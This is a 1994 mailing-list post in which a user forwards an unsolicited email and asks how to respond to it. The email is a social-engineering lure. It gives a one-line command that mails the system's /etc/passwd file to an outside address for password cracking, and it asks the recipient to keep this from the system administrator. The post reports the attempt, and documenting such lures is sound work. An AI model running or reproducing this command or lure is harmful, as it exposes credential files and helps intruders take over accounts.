I know, it's against the netiquette to forward a private mail to a list, but
this case seems to justify an exception.
I don't know this guy and he seems to have my email-adress from the irc
user list.
What's the right way to deal with this ?
Nice weekend
.//. Arne
Forwarded message:
> From wgs @
helix .
net Fri Oct 21 08:44:09 1994
> From: wgs @
helix .
net
> Subject: Please send me your password file
> Message-Id: <2ea771465c6a002 @
hub0 .
tc .
umn .
edu>
> Date: Fri, 21 Oct 94 02:44:07 -0500
> Apparently-To: <arne @
basis .
eikon .
e-technik .
tu-muenchen .
de>
>
> Hi! Maybe you can help me out today?! I have a cracking
> program called "password hacker" that lets me break password codes
> and get into hacked accounts! I have a real shortage of accounts right
> now, so if you don't mind please send me your /etc/passwd file so I can
> crack it and get accounts.
>
> To do this, type "mail wgs @
helix .
net < /etc/passwd" and it
> will send me your password file! I promise I won't break into your
> account, I just need accounts from other users!
>
> Please don't tell your system administrator because he won't want me
> getting accounts off your system! Thank you VERY MUCH.
>
> Wiggles
> wgs @
helix .
net
>
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